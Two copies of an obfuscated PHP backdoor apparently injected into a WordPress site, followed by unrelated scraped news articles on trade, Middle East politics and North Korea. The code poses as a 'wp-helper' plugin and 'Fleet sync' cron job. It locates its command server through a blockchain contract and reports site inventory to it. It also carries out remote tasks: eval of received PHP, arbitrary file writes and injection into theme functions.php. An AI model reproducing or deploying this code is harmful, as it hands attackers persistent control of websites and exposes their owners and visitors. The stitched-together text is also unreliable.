// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
IN THE 1990s America and Europe had a trade dispute over bananas. No one worried that tanks might soon roll as a result. But trade is about more than economics. The European Union, the world’s most ambitious free-trade area, was founded on the idea that trade integration would make war between members “not merely unthinkable, but materially impossible”. As the risk of a serious Sino-American trade war grows, attention is mostly focused on the prospect of dearer iPhones and unhappy soyabean farmers. But the stakes are much higher. China’s economic miracle could not help but provoke geopolitical stress, given its size and illiberality. Relations between America and China are built on mutual suspicion. Geopolitical rivalry has been moderated, however, by economic interdependence: a mutual entanglement some economics wags have dubbed “Chimerica”.
As China opened up, American consumers hoovered up cheap Chinese goods. American firms built China into their supply chains, enjoying low labour costs and gaining a presence in a…
]]>
The last 12 months has seen the geopolitical landscape turned on its head with major diplomatic incidents, high-profile corruption scandals and the destruction of Islamic State’s powerbase sending shockwaves across the globe.
US President Donald Trump sent shockwaves across the world when he announced the US would recognize Jerusalem as Israel’s capital and move its embassy there
READ MORE: 80,000 protest Trump’s Jerusalem recognition in Indonesia (VIDEO)
The US, along with all other nations with diplomatic ties to Israel, has its embassy in Tel Aviv. Jerusalem is not recognized as Israel’s capital by the international community, insisting its status must be worked out between Israel and Palestine during peace negotiations. Palestinians want East Jerusalem as its future capital. Israel has occupied East Jerusalem since the 1967 war, annexing it from the rest of the West Bank.
Trump’s decision was seen as fulfilling a campaign promise and pleasing both Evangelical Christians and his biggest donor, Sheldon Anderson. Trump’s son-in-law Jared Kushner is a supporter of illegal Israeli settlements on Palestinian land, and Trump has tasked him with making peace in the Middle East.
The move was met with condemnation from other leaders, pitting the US against its allies. Protests erupted across the Palestinian Territories and further afield. At leastnine Palestinians were killed in clashes with Israeli forces. In response to Trump’s declaration, Turkey called on other nations to recognize East Jerusalem as Palestine’s capital.
The UN Security Council introduced a resolution against the move, for which all members voted, except the US, which used its veto to kill the move. US Ambassador to the UN Nikki Haley said the rest of the world should be embarrassed and that the US would be “taking names” of those nations which voted against America at a second resolution at the General Assembly on December 21. The Assembly voted 128-9 in favor of declaring any efforts to change the status of Jerusalem “null and void.”
READ MORE: Trump’s planned embassy move to Jerusalem backed by Israeli
Islamic State (IS, formerly ISIS) has been the world’s boogeyman for the last four years, inspiring fear through terrorist attacks across Europe and a slick, gruesome propaganda machine broadcast from its bases in Iraq and Syria.
Yet 2017 saw IS lose its ‘state,’ as the group fought a doomed battle on multiple fronts against the Syrian Arab Army, Kurdish forces, Hezbollah and the Iraqi army in a bid to retain its ever-shrinking territory. The group’s stronghold in Mosul in Iraq fell in July, while Syria’s Raqqa fell in October.
The decline was spectacular, given the terrorist group’s dramatic rise that saw it control large pockets of land spanning two countries, including oilfields and refineries at its peak in 2014.
While the group has largely lost its home, the threat is not yet over. IS has vowed to continue to launch attacks from within the West. In Philippines, Egypt or other countries where there is a small IS presence, there remains the danger it will attempt to rebuild.
Although US officials have suggested the majority of the IS fighters were killed in the final battles, a number of militants have managed to escape into Turkey and other neighboring countries.
One only has to look to the Taliban, which has once again become a strong presence in Afghanistan 16 years after its overthrew by the US in 2001.
Saudi Arabia, the United Arab Emirates, Egypt and Bahrain announced a very public anti-Qatar alliance in June, accusing it of supporting terrorism and cutting of ties with the small Gulf state.
Blockades, boycotts and mass evacuations followed as Qatar became a pariah of the Gulf. Diplomats and foreign citizens were told to leave Qatar, which was even booted from the Saudi-led coalition bombing Yemen. The aggrieved nations issued a list of demands to Qatar in return for ending the crisis, including shutting down the Al Jazeera media organization.
Qatar’s alleged support for Islamist groups is said to include the Muslim Brotherhood and Hamas. Islamic State and Al-Qaeda were also listed by Saudi Arabia as beneficiaries of Qatar’s backing, which came as some surprise, given its own well-documented support and funding of those very groups.
Six months later, Qatar is yet to bow to the demands. The boycott seemingly backfired, with Qatar actually strengthening its alliances with Turkey and Iran, creating new shipping routes with India, Oman and others, and making new trade deals with France and the UK.
Saudi Crown Prince Mohammed bin Salman has had quite the year, from the continuing siege of Yemen, to handing out robot citizenship and granting Saudi women permission to drive from June 2018.
The prince was also behind a domestic corruption crackdown in November, which saw more than 200 wealthy businessmen and members of the royal family rounded up and reportedly imprisoned inside the Ritz Carlton hotel.
The move was seen by some as a way to consolidate power and eliminate competition before bin Salman ascends the throne as king. The prince’s own wealth, including his recent purchase of a yacht worth an estimated $ 500 million and the “world’s most expensive home” in France, was not investigated in the corruption crackdown.
READ MORE: Saudi Crown Prince says Iran’s Ayatollah is the ‘new Hitler’
Bin Salman continues to exert his influence on the world stage, and is seen to be forging warmer relations with Israel and the US while continuing to increase tensions with Iran. In November, he told the New York Times that Iranian Ayatollah Ali Khamenei was “the new Hitler.”
South Korean Park President Geun-hye was impeached and jailed in March for corruption and embezzlement, which she denies. She was accused of abusing her power and colluding with longtime friend Choi Soon-sil to pressure South Korean companies to pay millions in bribes.
The controversy revealed ties between South Korean politicians and businesses, including Samsung, and sparked weeks of mass protests which resulted in parliament voting to impeach her. Park is also accused of taking $ 3.7 million in bribes from the National Intelligence Service (NIS) while in office.
A new president, Moon Jae-in was elected in May, securing 41 percent of the vote. The left-leaning former human rights lawyer promised to end corruption and foster a more diplomatic relationship with North Korea. He also said the past hardline policy employed by former leaders had failed. Moon also said in January that South Korea should learn to say “no to America.”
UK Prime Minister Theresa May’s decision to call a snap election in April probably wasn’t her best idea. Although a new general election wasn’t due until 2020, May said the surprise election would put the UK in a better position for Brexit negotiations.
The election saw May struggle in the polls and Labor leader Jeremy Corbyn gain popularity. A hung parliament was the result, which saw the Conservatives lose their parliamentary majority.
May got into bed with the Democratic Unionist Party to secure a supply and demand support from the Northern Ireland party, agreeing to give an additional £1 billion in funding to Northern Ireland. The DUP’s new-found influence made Brexit negotiations more challenging, due to the border between Ireland and Northern Ireland.
]]>
“After reflection, I have decided not to seek a second four-year term,” Zeid Ra’ad Hussein said in the email addressed to his staff, which was seen by Foreign Policy and AFP. “To do so, in the current geopolitical context, might involve bending a knee in supplication; muting a statement of advocacy; lessening the independence and integrity of my voice – which is your voice.”
The announcement comes a day after the human rights chief expressed shock over Israel’s use of force against the Palestinians; in a crackdown, the roots of which, “can sadly be traced directly back to the unilateral US announcement on the status of Jerusalem.” Stating that Washington’s decision to move its Israeli capital to Jerusalem was “dangerously provocative,” Hussein added that Trump’s initiative goes against “international consensus.”
It’s not the first time that the UN’s human rights chief has criticized the American leader, who after assuming office, is seen trying to reshape the global political environment, focussing particularly on the Middle East and the Korean peninsula. Even before Trump was elected, Hussein warned that the Republican’s “deeply unsettling and disturbing” point of view “will be dangerous from an international point of view.”
Hussein expressed strong criticism of the US leader in October after listening to Trump’s speech at the United Nations. Trump’s rhetoric at the General assembly, he said, was “one part chauvinistic nationalism, one part balance-of-power swordplay and a crumbling adherence to law.”
“The combination of all of this, in the early part of the 20th century, led to the annihilation of millions of people,” Hussein warned, recalling the “calamity of two world wars and the Holocaust.”
In his letter to his colleagues, Hussein painted a “gloomy assessment of the state of human rights one year after US President Donald Trump came to power,” FP noted. The UN human rights commissioner said America’s new foreign policy disregarded human rights and “reintroduced torture as a tool to extract information.”
The FP report also noted, citing diplomatic sources, that UN Secretary-General Antonio Guterres had allegedly “urged Zeid to tone down his critics of Trump, fearing that it could risk losing US support for the United Nations.”
Trump has indeed threatened to cut aid to UN member states who vote against the US at Thursday’s rare emergency UN General Assembly session. “They take hundreds of millions of dollars and even billions of dollars, and then they vote against us. Well, we’re watching those votes. Let them vote against us. We’ll save a lot. We don’t care,” Trump told reporters at the White House on Wednesday.
Hussein said he would focus his final months in office on promoting the Universal Declaration of Human Rights through “mobilization and defiance, pushing back the many trends across the world that seem to negate and deny the value of human rights.”
“There are many months ahead of us: months of struggle, perhaps, and even grief – because although the past year has been arduous for us, it has been appalling for many of the people we serve,” he wrote.
]]>
The US flew B-1B Lancer bombers, escorted by F-15 fighters, off North Korea’s east coast. However, the aircraft remained in international airspace.
In a statement, the Pentagon said the mission was designed to demonstrate “US resolve and [sends] a clear message that the President has many military options to defeat any threat.”
RT discussed this situation with geopolitical analyst and founder of the news website 21st Century Wire Patrick Henningsen.
RT: What message is Washington sending with this bomber deployment?
Patrick Henningsen: They are sending a message of aggression and war. It is certainly the message that Trump’s base, some of them anyway, want to hear. It is the message that the military-industrial complex in the US – all the defense contractors – they want to hear this, it is John McCain’s message, it is James Mattis’ message. This is the message of neoconservative war hawks. That is basically who he is talking to.
In terms of diplomacy, it is completely counterproductive. In terms of China relations, it is very poor form. In terms of military strategy, it is worthless, it is nothing. The other thing is, Obama would have done the same thing. In fact, Obama did exactly the same thing in September, 2016 – he flew a B-1 bomber over South Korea not very far at all, technically from where this was flown today. Of course, it didn’t get any media coverage at the time. But this is just basic US behavior, a government that is dominated by the Pentagon, by the defense industry, by these interests.
